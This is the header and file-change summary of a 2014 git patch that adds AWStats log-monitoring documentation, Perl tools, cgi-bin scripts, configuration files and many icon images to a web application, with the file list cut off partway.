From 3f93bbdd220363862f50cabece4b2ccebd2a02ee Mon Sep 17 00:00:00 2001 From: Bruno Nocera Zanette <brunonzanette@gmail.com> Date: Mon, 30 Jun 2014 18:58:56 -0300 Subject: [PATCH] Add scripts that generates Log Monitoring Pages Add scripts that generates Log Monitoring Pages --- .../webapp/monitoramento/LEIAME_INSTALACAO | 4 + src/main/webapp/monitoramento/README | 165 + .../webapp/monitoramento/docs/COPYING.TXT | 674 + .../webapp/monitoramento/docs/LICENSE.TXT | 674 + .../webapp/monitoramento/docs/awstats.pdf | Bin 0 -> 321974 bytes .../monitoramento/docs/awstats_benchmark.html | 178 + .../monitoramento/docs/awstats_changelog.txt | 1279 + .../monitoramento/docs/awstats_compare.html | 743 + .../monitoramento/docs/awstats_config.html | 1829 ++ .../monitoramento/docs/awstats_contrib.html | 454 + .../docs/awstats_dev_plugins.html | 176 + .../docs/awstats_dev_plugins_graphs.html | 201 + .../docs/awstats_dev_plugins_hooks.html | 386 + .../monitoramento/docs/awstats_dolibarr.html | 54 + .../monitoramento/docs/awstats_extra.html | 353 + .../monitoramento/docs/awstats_faq.html | 1725 ++ .../monitoramento/docs/awstats_glossary.html | 800 + .../monitoramento/docs/awstats_license.html | 55 + .../monitoramento/docs/awstats_security.html | 150 + .../monitoramento/docs/awstats_setup.html | 584 + .../monitoramento/docs/awstats_tools.html | 201 + .../monitoramento/docs/awstats_upgrade.html | 129 + .../monitoramento/docs/awstats_webmin.html | 87 + .../monitoramento/docs/awstats_what.html | 199 + .../monitoramento/docs/images/awstats.gif | Bin 0 -> 1136 bytes .../monitoramento/docs/images/awstats.ico | Bin 0 -> 8166 bytes .../monitoramento/docs/images/awstats.png | Bin 0 -> 1247 bytes .../docs/images/awstats_logo1.gif | Bin 0 -> 2507 bytes .../docs/images/awstats_logo1.png | Bin 0 -> 2186 bytes .../docs/images/awstats_logo2.gif | Bin 0 -> 704 bytes .../docs/images/awstats_logo2.png | Bin 0 -> 757 bytes .../docs/images/awstats_logo3.gif | Bin 0 -> 2668 bytes .../docs/images/awstats_logo3.png | Bin 0 -> 3327 bytes .../docs/images/awstats_logo4.gif | Bin 0 -> 2486 bytes .../docs/images/awstats_logo4.png | Bin 0 -> 2144 bytes .../docs/images/awstats_logo5.gif | Bin 0 -> 4330 bytes .../docs/images/awstats_logo5.png | Bin 0 -> 3693 bytes .../docs/images/awstats_logo6.png | Bin 0 -> 2715 bytes .../docs/images/license_chart.png | Bin 0 -> 24707 bytes .../docs/images/screen_shot_1.gif | Bin 0 -> 5445 bytes .../docs/images/screen_shot_1.jpg | Bin 0 -> 2499 bytes .../docs/images/screen_shot_1.png | Bin 0 -> 3950 bytes .../docs/images/screen_shot_2.png | Bin 0 -> 3896 bytes .../docs/images/screen_shot_3.png | Bin 0 -> 4002 bytes .../docs/images/screen_shot_4.png | Bin 0 -> 4412 bytes .../docs/images/screen_shot_5.png | Bin 0 -> 3486 bytes .../docs/images/screen_shot_large_1.jpg | Bin 0 -> 6260 bytes .../docs/images/screen_shot_large_2.jpg | Bin 0 -> 5754 bytes .../docs/images/screen_shot_large_3.jpg | Bin 0 -> 6299 bytes .../docs/images/screen_shot_large_4.jpg | Bin 0 -> 46662 bytes .../docs/images/screen_shot_large_5.jpg | Bin 0 -> 5227 bytes .../webapp/monitoramento/docs/images/star.png | Bin 0 -> 286 bytes src/main/webapp/monitoramento/docs/index.html | 181 + .../webapp/monitoramento/docs/pad_awstats.xml | 228 + .../monitoramento/docs/scripts/lang-apollo.js | 51 + .../monitoramento/docs/scripts/lang-css.js | 78 + .../monitoramento/docs/scripts/lang-hs.js | 101 + .../monitoramento/docs/scripts/lang-lisp.js | 93 + .../monitoramento/docs/scripts/lang-lua.js | 59 + .../monitoramento/docs/scripts/lang-ml.js | 56 + .../monitoramento/docs/scripts/lang-proto.js | 35 + .../monitoramento/docs/scripts/lang-sql.js | 57 + .../monitoramento/docs/scripts/lang-vb.js | 61 + .../monitoramento/docs/scripts/lang-wiki.js | 53 + .../monitoramento/docs/scripts/prettify.css | 27 + .../monitoramento/docs/scripts/prettify.js | 1478 ++ src/main/webapp/monitoramento/docs/styles.css | 28 + .../tools/awstats_buildstaticpages.pl | 483 + .../monitoramento/tools/awstats_configure.pl | 770 + .../monitoramento/tools/awstats_exportlib.pl | 370 + .../monitoramento/tools/awstats_updateall.pl | 168 + .../monitoramento/tools/geoip_generator.pl | 481 + .../webapp/monitoramento/tools/httpd_conf | 29 + .../monitoramento/tools/logresolvemerge.pl | 802 + .../monitoramento/tools/maillogconvert.pl | 679 + .../monitoramento/tools/nginx/README.txt | 2 + .../tools/nginx/awstats-fcgi.php | 37 + .../tools/nginx/awstats-nginx.conf | 44 + .../monitoramento/tools/urlaliasbuilder.pl | 318 + .../tools/webmin/awstats-1.9.wbm | Bin 0 -> 184320 bytes .../monitoramento/tools/xslt/README.txt | 23 + .../tools/xslt/awstats.datademo1.xml | 1200 + .../tools/xslt/awstats.datademo1.xslt | 37 + .../tools/xslt/awstats.datademo2.xml | 379 + .../tools/xslt/awstats.datademo2.xslt | 242 + .../monitoramento/tools/xslt/awstats.xsd | 94 + .../wwwroot/cgi-bin/awdownloadcsv.pl | 154 + .../monitoramento/wwwroot/cgi-bin/awredir.pl | 220 + .../wwwroot/cgi-bin/awstats.extra.conf | 1600 ++ .../wwwroot/cgi-bin/awstats.model.conf | 1558 ++ .../wwwroot/cgi-bin/awstats.observatorio.conf | 1558 ++ .../monitoramento/wwwroot/cgi-bin/awstats.pl | 21328 ++++++++++++++++ .../monitoramento/wwwroot/cgi-bin/awstats.sh | 46 + .../cgi-bin/data/awstats062014.extra.txt | 259 + .../data/awstats062014.observatorio.txt | 291 + .../monitoramento/wwwroot/cgi-bin/errors.txt | 0 .../monitoramento/wwwroot/cgi-bin/extra.out | 445 + .../monitoramento/wwwroot/cgi-bin/filter.sh | 87 + .../monitoramento/wwwroot/cgi-bin/generate.sh | 62 + .../wwwroot/cgi-bin/icon/browser/abilon.png | Bin 0 -> 557 bytes .../wwwroot/cgi-bin/icon/browser/adobe.png | Bin 0 -> 340 bytes .../cgi-bin/icon/browser/akregator.png | Bin 0 -> 554 bytes .../wwwroot/cgi-bin/icon/browser/alcatel.png | Bin 0 -> 351 bytes .../wwwroot/cgi-bin/icon/browser/amaya.png | Bin 0 -> 316 bytes .../cgi-bin/icon/browser/amigavoyager.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/browser/analogx.png | Bin 0 -> 655 bytes .../wwwroot/cgi-bin/icon/browser/android.png | Bin 0 -> 230 bytes .../wwwroot/cgi-bin/icon/browser/apt.png | Bin 0 -> 315 bytes .../wwwroot/cgi-bin/icon/browser/avant.png | Bin 0 -> 770 bytes .../wwwroot/cgi-bin/icon/browser/aweb.png | Bin 0 -> 607 bytes .../wwwroot/cgi-bin/icon/browser/bpftp.png | Bin 0 -> 714 bytes .../wwwroot/cgi-bin/icon/browser/bytel.png | Bin 0 -> 505 bytes .../wwwroot/cgi-bin/icon/browser/chimera.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/browser/chrome.png | Bin 0 -> 760 bytes .../wwwroot/cgi-bin/icon/browser/cyberdog.png | Bin 0 -> 689 bytes .../wwwroot/cgi-bin/icon/browser/da.png | Bin 0 -> 265 bytes .../wwwroot/cgi-bin/icon/browser/dillo.png | Bin 0 -> 768 bytes .../wwwroot/cgi-bin/icon/browser/doris.png | Bin 0 -> 724 bytes .../cgi-bin/icon/browser/dreamcast.png | Bin 0 -> 303 bytes .../wwwroot/cgi-bin/icon/browser/ecatch.png | Bin 0 -> 707 bytes .../cgi-bin/icon/browser/encompass.png | Bin 0 -> 757 bytes .../wwwroot/cgi-bin/icon/browser/epiphany.png | Bin 0 -> 631 bytes .../wwwroot/cgi-bin/icon/browser/ericsson.png | Bin 0 -> 1049 bytes .../cgi-bin/icon/browser/feeddemon.png | Bin 0 -> 677 bytes .../cgi-bin/icon/browser/feedreader.png | Bin 0 -> 552 bytes .../wwwroot/cgi-bin/icon/browser/firefox.png | Bin 0 -> 368 bytes .../wwwroot/cgi-bin/icon/browser/flashget.png | Bin 0 -> 488 bytes .../wwwroot/cgi-bin/icon/browser/flock.png | Bin 0 -> 420 bytes .../cgi-bin/icon/browser/fpexpress.png | Bin 0 -> 420 bytes .../wwwroot/cgi-bin/icon/browser/fresco.png | Bin 0 -> 708 bytes .../cgi-bin/icon/browser/freshdownload.png | Bin 0 -> 623 bytes .../cgi-bin/icon/browser/frontpage.png | Bin 0 -> 662 bytes .../wwwroot/cgi-bin/icon/browser/galeon.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/browser/getright.png | Bin 0 -> 278 bytes .../wwwroot/cgi-bin/icon/browser/gnome.png | Bin 0 -> 710 bytes .../wwwroot/cgi-bin/icon/browser/gnus.png | Bin 0 -> 930 bytes .../wwwroot/cgi-bin/icon/browser/gozilla.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/browser/hotjava.png | Bin 0 -> 791 bytes .../wwwroot/cgi-bin/icon/browser/httrack.png | Bin 0 -> 894 bytes .../wwwroot/cgi-bin/icon/browser/ibrowse.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/browser/icab.png | Bin 0 -> 314 bytes .../wwwroot/cgi-bin/icon/browser/icecat.png | Bin 0 -> 421 bytes .../cgi-bin/icon/browser/iceweasel.png | Bin 0 -> 419 bytes .../wwwroot/cgi-bin/icon/browser/java.png | Bin 0 -> 288 bytes .../cgi-bin/icon/browser/jetbrains_omea.png | Bin 0 -> 676 bytes .../wwwroot/cgi-bin/icon/browser/kmeleon.png | Bin 0 -> 288 bytes .../cgi-bin/icon/browser/konqueror.png | Bin 0 -> 285 bytes .../wwwroot/cgi-bin/icon/browser/leechget.png | Bin 0 -> 682 bytes .../wwwroot/cgi-bin/icon/browser/lg.png | Bin 0 -> 541 bytes .../cgi-bin/icon/browser/lotusnotes.png | Bin 0 -> 344 bytes .../wwwroot/cgi-bin/icon/browser/lynx.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/browser/macweb.png | Bin 0 -> 662 bytes .../cgi-bin/icon/browser/mediaplayer.png | Bin 0 -> 370 bytes .../wwwroot/cgi-bin/icon/browser/motorola.png | Bin 0 -> 655 bytes .../wwwroot/cgi-bin/icon/browser/mozilla.png | Bin 0 -> 289 bytes .../wwwroot/cgi-bin/icon/browser/mplayer.png | Bin 0 -> 689 bytes .../wwwroot/cgi-bin/icon/browser/msie.png | Bin 0 -> 314 bytes .../cgi-bin/icon/browser/msie_large.png | Bin 0 -> 475 bytes .../cgi-bin/icon/browser/multizilla.png | Bin 0 -> 289 bytes .../cgi-bin/icon/browser/ncsa_mosaic.png | Bin 0 -> 790 bytes .../wwwroot/cgi-bin/icon/browser/neon.png | Bin 0 -> 328 bytes .../cgi-bin/icon/browser/netnewswire.png | Bin 0 -> 667 bytes .../cgi-bin/icon/browser/netpositive.png | Bin 0 -> 372 bytes .../wwwroot/cgi-bin/icon/browser/netscape.png | Bin 0 -> 208 bytes .../cgi-bin/icon/browser/netscape_large.png | Bin 0 -> 440 bytes .../wwwroot/cgi-bin/icon/browser/netshow.png | Bin 0 -> 636 bytes .../wwwroot/cgi-bin/icon/browser/newsfire.png | Bin 0 -> 646 bytes .../cgi-bin/icon/browser/newsgator.png | Bin 0 -> 550 bytes .../cgi-bin/icon/browser/newzcrawler.png | Bin 0 -> 980 bytes .../wwwroot/cgi-bin/icon/browser/nokia.png | Bin 0 -> 397 bytes .../cgi-bin/icon/browser/notavailable.png | Bin 0 -> 241 bytes .../wwwroot/cgi-bin/icon/browser/omniweb.png | Bin 0 -> 355 bytes .../wwwroot/cgi-bin/icon/browser/opera.png | Bin 0 -> 284 bytes .../cgi-bin/icon/browser/panasonic.png | Bin 0 -> 302 bytes .../wwwroot/cgi-bin/icon/browser/pdaphone.png | Bin 0 -> 351 bytes .../wwwroot/cgi-bin/icon/browser/philips.png | Bin 0 -> 686 bytes .../wwwroot/cgi-bin/icon/browser/phoenix.png | Bin 0 -> 514 bytes .../wwwroot/cgi-bin/icon/browser/pluck.png | Bin 0 -> 662 bytes .../cgi-bin/icon/browser/pulpfiction.png | Bin 0 -> 689 bytes .../wwwroot/cgi-bin/icon/browser/real.png | Bin 0 -> 1406 bytes .../wwwroot/cgi-bin/icon/browser/rss.png | Bin 0 -> 403 bytes .../cgi-bin/icon/browser/rssbandit.png | Bin 0 -> 642 bytes .../wwwroot/cgi-bin/icon/browser/rssowl.png | Bin 0 -> 674 bytes .../cgi-bin/icon/browser/rssreader.png | Bin 0 -> 1053 bytes .../cgi-bin/icon/browser/rssxpress.png | Bin 0 -> 659 bytes .../wwwroot/cgi-bin/icon/browser/safari.png | Bin 0 -> 324 bytes .../wwwroot/cgi-bin/icon/browser/sagem.png | Bin 0 -> 600 bytes .../wwwroot/cgi-bin/icon/browser/samsung.png | Bin 0 -> 371 bytes .../cgi-bin/icon/browser/seamonkey.png | Bin 0 -> 429 bytes .../wwwroot/cgi-bin/icon/browser/sharp.png | Bin 0 -> 299 bytes .../cgi-bin/icon/browser/sharpreader.png | Bin 0 -> 651 bytes .../wwwroot/cgi-bin/icon/browser/shrook.png | Bin 0 -> 600 bytes .../wwwroot/cgi-bin/icon/browser/siemens.png | Bin 0 -> 277 bytes .../wwwroot/cgi-bin/icon/browser/sony.png | Bin 0 -> 1049 bytes .../cgi-bin/icon/browser/staroffice.png | Bin 0 -> 269 bytes .../cgi-bin/icon/browser/subversion.png | Bin 0 -> 916 bytes .../wwwroot/cgi-bin/icon/browser/teleport.png | Bin 0 -> 228 bytes .../wwwroot/cgi-bin/icon/browser/trium.png | Bin 0 -> 424 bytes .../wwwroot/cgi-bin/icon/browser/unknown.png | Bin 0 -> 218 bytes .../wwwroot/cgi-bin/icon/browser/w3c.png | Bin 0 -> 580 bytes .../cgi-bin/icon/browser/webcopier.png | Bin 0 -> 281 bytes .../cgi-bin/icon/browser/webreaper.png | Bin 0 -> 676 bytes .../wwwroot/cgi-bin/icon/browser/webtv.png | Bin 0 -> 319 bytes .../wwwroot/cgi-bin/icon/browser/webzip.png | Bin 0 -> 257 bytes .../wwwroot/cgi-bin/icon/browser/winxbox.png | Bin 0 -> 661 bytes .../wwwroot/cgi-bin/icon/browser/wizz.png | Bin 0 -> 684 bytes .../wwwroot/cgi-bin/icon/clock/hr1.png | Bin 0 -> 318 bytes .../wwwroot/cgi-bin/icon/clock/hr10.png | Bin 0 -> 306 bytes .../wwwroot/cgi-bin/icon/clock/hr11.png | Bin 0 -> 318 bytes .../wwwroot/cgi-bin/icon/clock/hr12.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/clock/hr2.png | Bin 0 -> 320 bytes .../wwwroot/cgi-bin/icon/clock/hr3.png | Bin 0 -> 302 bytes .../wwwroot/cgi-bin/icon/clock/hr4.png | Bin 0 -> 302 bytes .../wwwroot/cgi-bin/icon/clock/hr5.png | Bin 0 -> 311 bytes .../wwwroot/cgi-bin/icon/clock/hr6.png | Bin 0 -> 314 bytes .../wwwroot/cgi-bin/icon/clock/hr7.png | Bin 0 -> 316 bytes .../wwwroot/cgi-bin/icon/clock/hr8.png | Bin 0 -> 312 bytes .../wwwroot/cgi-bin/icon/clock/hr9.png | Bin 0 -> 304 bytes .../wwwroot/cgi-bin/icon/cpu/digital.png | Bin 0 -> 262 bytes .../wwwroot/cgi-bin/icon/cpu/hp.png | Bin 0 -> 338 bytes .../wwwroot/cgi-bin/icon/cpu/ibm.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/cpu/intel.png | Bin 0 -> 302 bytes .../wwwroot/cgi-bin/icon/cpu/java.png | Bin 0 -> 288 bytes .../wwwroot/cgi-bin/icon/cpu/mips.png | Bin 0 -> 317 bytes .../wwwroot/cgi-bin/icon/cpu/motorola.png | Bin 0 -> 296 bytes .../wwwroot/cgi-bin/icon/cpu/sun.png | Bin 0 -> 210 bytes .../wwwroot/cgi-bin/icon/cpu/unknown.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/a2.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/ac.png | Bin 0 -> 389 bytes .../wwwroot/cgi-bin/icon/flags/ad.png | Bin 0 -> 255 bytes .../wwwroot/cgi-bin/icon/flags/ae.png | Bin 0 -> 224 bytes .../wwwroot/cgi-bin/icon/flags/aero.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/af.png | Bin 0 -> 240 bytes .../wwwroot/cgi-bin/icon/flags/ag.png | Bin 0 -> 255 bytes .../wwwroot/cgi-bin/icon/flags/ai.png | Bin 0 -> 271 bytes .../wwwroot/cgi-bin/icon/flags/al.png | Bin 0 -> 247 bytes .../wwwroot/cgi-bin/icon/flags/am.png | Bin 0 -> 219 bytes .../wwwroot/cgi-bin/icon/flags/an.png | Bin 0 -> 241 bytes .../wwwroot/cgi-bin/icon/flags/ao.png | Bin 0 -> 251 bytes .../wwwroot/cgi-bin/icon/flags/aq.png | Bin 0 -> 255 bytes .../wwwroot/cgi-bin/icon/flags/ar.png | Bin 0 -> 231 bytes .../wwwroot/cgi-bin/icon/flags/arpa.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/as.png | Bin 0 -> 248 bytes .../wwwroot/cgi-bin/icon/flags/at.png | Bin 0 -> 225 bytes .../wwwroot/cgi-bin/icon/flags/au.png | Bin 0 -> 260 bytes .../wwwroot/cgi-bin/icon/flags/aw.png | Bin 0 -> 222 bytes .../wwwroot/cgi-bin/icon/flags/ax.png | Bin 0 -> 484 bytes .../wwwroot/cgi-bin/icon/flags/az.png | Bin 0 -> 260 bytes .../wwwroot/cgi-bin/icon/flags/ba.png | Bin 0 -> 234 bytes .../wwwroot/cgi-bin/icon/flags/bb.png | Bin 0 -> 252 bytes .../wwwroot/cgi-bin/icon/flags/bd.png | Bin 0 -> 248 bytes .../wwwroot/cgi-bin/icon/flags/be.png | Bin 0 -> 246 bytes .../wwwroot/cgi-bin/icon/flags/bf.png | Bin 0 -> 258 bytes .../wwwroot/cgi-bin/icon/flags/bg.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/bh.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/bi.png | Bin 0 -> 244 bytes .../wwwroot/cgi-bin/icon/flags/biz.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/bj.png | Bin 0 -> 182 bytes .../wwwroot/cgi-bin/icon/flags/bm.png | Bin 0 -> 298 bytes .../wwwroot/cgi-bin/icon/flags/bn.png | Bin 0 -> 286 bytes .../wwwroot/cgi-bin/icon/flags/bo.png | Bin 0 -> 224 bytes .../wwwroot/cgi-bin/icon/flags/br.png | Bin 0 -> 279 bytes .../wwwroot/cgi-bin/icon/flags/bs.png | Bin 0 -> 242 bytes .../wwwroot/cgi-bin/icon/flags/bt.png | Bin 0 -> 294 bytes .../wwwroot/cgi-bin/icon/flags/bv.png | Bin 0 -> 243 bytes .../wwwroot/cgi-bin/icon/flags/bw.png | Bin 0 -> 232 bytes .../wwwroot/cgi-bin/icon/flags/by.png | Bin 0 -> 198 bytes .../wwwroot/cgi-bin/icon/flags/bz.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/flags/ca.png | Bin 0 -> 258 bytes .../wwwroot/cgi-bin/icon/flags/cc.png | Bin 0 -> 260 bytes .../wwwroot/cgi-bin/icon/flags/cd.png | Bin 0 -> 268 bytes .../wwwroot/cgi-bin/icon/flags/cf.png | Bin 0 -> 281 bytes .../wwwroot/cgi-bin/icon/flags/cg.png | Bin 0 -> 251 bytes .../wwwroot/cgi-bin/icon/flags/ch.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/ci.png | Bin 0 -> 200 bytes .../wwwroot/cgi-bin/icon/flags/ck.png | Bin 0 -> 285 bytes .../wwwroot/cgi-bin/icon/flags/cl.png | Bin 0 -> 237 bytes .../wwwroot/cgi-bin/icon/flags/cm.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/cn.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/flags/co.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/com.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/coop.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/cr.png | Bin 0 -> 241 bytes .../wwwroot/cgi-bin/icon/flags/cs.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/cu.png | Bin 0 -> 249 bytes .../wwwroot/cgi-bin/icon/flags/cv.png | Bin 0 -> 247 bytes .../wwwroot/cgi-bin/icon/flags/cx.png | Bin 0 -> 280 bytes .../wwwroot/cgi-bin/icon/flags/cy.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/cz.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/de.png | Bin 0 -> 192 bytes .../wwwroot/cgi-bin/icon/flags/dj.png | Bin 0 -> 244 bytes .../wwwroot/cgi-bin/icon/flags/dk.png | Bin 0 -> 223 bytes .../wwwroot/cgi-bin/icon/flags/dm.png | Bin 0 -> 267 bytes .../wwwroot/cgi-bin/icon/flags/do.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/dz.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/flags/ec.png | Bin 0 -> 245 bytes .../wwwroot/cgi-bin/icon/flags/edu.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/ee.png | Bin 0 -> 206 bytes .../wwwroot/cgi-bin/icon/flags/eg.png | Bin 0 -> 236 bytes .../wwwroot/cgi-bin/icon/flags/eh.png | Bin 0 -> 262 bytes .../wwwroot/cgi-bin/icon/flags/en.png | Bin 0 -> 302 bytes .../wwwroot/cgi-bin/icon/flags/er.png | Bin 0 -> 250 bytes .../wwwroot/cgi-bin/icon/flags/es.png | Bin 0 -> 231 bytes .../wwwroot/cgi-bin/icon/flags/es_cat.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/es_eu.png | Bin 0 -> 309 bytes .../wwwroot/cgi-bin/icon/flags/et.png | Bin 0 -> 259 bytes .../wwwroot/cgi-bin/icon/flags/eu.png | Bin 0 -> 269 bytes .../wwwroot/cgi-bin/icon/flags/fi.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/fj.png | Bin 0 -> 299 bytes .../wwwroot/cgi-bin/icon/flags/fk.png | Bin 0 -> 310 bytes .../wwwroot/cgi-bin/icon/flags/fm.png | Bin 0 -> 263 bytes .../wwwroot/cgi-bin/icon/flags/fo.png | Bin 0 -> 234 bytes .../wwwroot/cgi-bin/icon/flags/fr.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/fx.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/ga.png | Bin 0 -> 199 bytes .../wwwroot/cgi-bin/icon/flags/gb.png | Bin 0 -> 280 bytes .../wwwroot/cgi-bin/icon/flags/gd.png | Bin 0 -> 298 bytes .../wwwroot/cgi-bin/icon/flags/ge.png | Bin 0 -> 223 bytes .../wwwroot/cgi-bin/icon/flags/gf.png | Bin 0 -> 264 bytes .../wwwroot/cgi-bin/icon/flags/gg.png | Bin 0 -> 605 bytes .../wwwroot/cgi-bin/icon/flags/gh.png | Bin 0 -> 237 bytes .../wwwroot/cgi-bin/icon/flags/gi.png | Bin 0 -> 289 bytes .../wwwroot/cgi-bin/icon/flags/gl.png | Bin 0 -> 240 bytes .../wwwroot/cgi-bin/icon/flags/glg.png | Bin 0 -> 922 bytes .../wwwroot/cgi-bin/icon/flags/gm.png | Bin 0 -> 228 bytes .../wwwroot/cgi-bin/icon/flags/gn.png | Bin 0 -> 200 bytes .../wwwroot/cgi-bin/icon/flags/gov.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/gp.png | Bin 0 -> 257 bytes .../wwwroot/cgi-bin/icon/flags/gq.png | Bin 0 -> 278 bytes .../wwwroot/cgi-bin/icon/flags/gr.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/gs.png | Bin 0 -> 215 bytes .../wwwroot/cgi-bin/icon/flags/gt.png | Bin 0 -> 278 bytes .../wwwroot/cgi-bin/icon/flags/gu.png | Bin 0 -> 303 bytes .../wwwroot/cgi-bin/icon/flags/gw.png | Bin 0 -> 244 bytes .../wwwroot/cgi-bin/icon/flags/gy.png | Bin 0 -> 287 bytes .../wwwroot/cgi-bin/icon/flags/hk.png | Bin 0 -> 248 bytes .../wwwroot/cgi-bin/icon/flags/hm.png | Bin 0 -> 260 bytes .../wwwroot/cgi-bin/icon/flags/hn.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/flags/hr.png | Bin 0 -> 246 bytes .../wwwroot/cgi-bin/icon/flags/ht.png | Bin 0 -> 184 bytes .../wwwroot/cgi-bin/icon/flags/hu.png | Bin 0 -> 210 bytes .../wwwroot/cgi-bin/icon/flags/i0.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/id.png | Bin 0 -> 217 bytes .../wwwroot/cgi-bin/icon/flags/ie.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/il.png | Bin 0 -> 250 bytes .../wwwroot/cgi-bin/icon/flags/im.png | Bin 0 -> 291 bytes .../wwwroot/cgi-bin/icon/flags/in.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/info.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/int.png | Bin 0 -> 310 bytes .../wwwroot/cgi-bin/icon/flags/io.png | Bin 0 -> 351 bytes .../wwwroot/cgi-bin/icon/flags/ip.png | Bin 0 -> 218 bytes .../wwwroot/cgi-bin/icon/flags/iq.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/flags/ir.png | Bin 0 -> 244 bytes .../wwwroot/cgi-bin/icon/flags/is.png | Bin 0 -> 242 bytes .../wwwroot/cgi-bin/icon/flags/it.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/jm.png | Bin 0 -> 262 bytes .../wwwroot/cgi-bin/icon/flags/jo.png | Bin 0 -> 246 bytes .../wwwroot/cgi-bin/icon/flags/jp.png | Bin 0 -> 248 bytes .../wwwroot/cgi-bin/icon/flags/ke.png | Bin 0 -> 250 bytes .../wwwroot/cgi-bin/icon/flags/kg.png | Bin 0 -> 253 bytes .../wwwroot/cgi-bin/icon/flags/kh.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/ki.png | Bin 0 -> 336 bytes .../wwwroot/cgi-bin/icon/flags/km.png | Bin 0 -> 260 bytes .../wwwroot/cgi-bin/icon/flags/kn.png | Bin 0 -> 305 bytes .../wwwroot/cgi-bin/icon/flags/kp.png | Bin 0 -> 272 bytes .../wwwroot/cgi-bin/icon/flags/kr.png | Bin 0 -> 270 bytes .../wwwroot/cgi-bin/icon/flags/kw.png | Bin 0 -> 234 bytes .../wwwroot/cgi-bin/icon/flags/ky.png | Bin 0 -> 309 bytes .../wwwroot/cgi-bin/icon/flags/kz.png | Bin 0 -> 291 bytes .../wwwroot/cgi-bin/icon/flags/la.png | Bin 0 -> 239 bytes .../wwwroot/cgi-bin/icon/flags/lb.png | Bin 0 -> 265 bytes .../wwwroot/cgi-bin/icon/flags/lc.png | Bin 0 -> 273 bytes .../wwwroot/cgi-bin/icon/flags/li.png | Bin 0 -> 231 bytes .../wwwroot/cgi-bin/icon/flags/lk.png | Bin 0 -> 287 bytes .../wwwroot/cgi-bin/icon/flags/lr.png | Bin 0 -> 257 bytes .../wwwroot/cgi-bin/icon/flags/ls.png | Bin 0 -> 281 bytes .../wwwroot/cgi-bin/icon/flags/lt.png | Bin 0 -> 192 bytes .../wwwroot/cgi-bin/icon/flags/lu.png | Bin 0 -> 206 bytes .../wwwroot/cgi-bin/icon/flags/lv.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/ly.png | Bin 0 -> 181 bytes .../wwwroot/cgi-bin/icon/flags/ma.png | Bin 0 -> 242 bytes .../wwwroot/cgi-bin/icon/flags/mc.png | Bin 0 -> 184 bytes .../wwwroot/cgi-bin/icon/flags/md.png | Bin 0 -> 268 bytes .../wwwroot/cgi-bin/icon/flags/me.png | Bin 0 -> 339 bytes .../wwwroot/cgi-bin/icon/flags/mg.png | Bin 0 -> 168 bytes .../wwwroot/cgi-bin/icon/flags/mil.png | Bin 0 -> 252 bytes .../wwwroot/cgi-bin/icon/flags/mk.png | Bin 0 -> 256 bytes .../wwwroot/cgi-bin/icon/flags/ml.png | Bin 0 -> 137 bytes .../wwwroot/cgi-bin/icon/flags/mm.png | Bin 0 -> 279 bytes .../wwwroot/cgi-bin/icon/flags/mn.png | Bin 0 -> 245 bytes .../wwwroot/cgi-bin/icon/flags/mo.png | Bin 0 -> 283 bytes .../wwwroot/cgi-bin/icon/flags/mp.png | Bin 0 -> 466 bytes .../wwwroot/cgi-bin/icon/flags/mq.png | Bin 0 -> 191 bytes .../wwwroot/cgi-bin/icon/flags/mr.png | Bin 0 -> 238 bytes .../wwwroot/cgi-bin/icon/flags/ms.png | Bin 0 -> 258 bytes .../wwwroot/cgi-bin/icon/flags/mt.png | Bin 0 -> 229 bytes .../wwwroot/cgi-bin/icon/flags/mu.png | Bin 0 -> 214 bytes .../wwwroot/cgi-bin/icon/flags/museum.png | Bin 0 -> 381 bytes .../wwwroot/cgi-bin/icon/flags/mv.png | Bin 0 -> 226 bytes .../wwwroot/cgi-bin/icon/flags/mw.png | Bin 0 -> 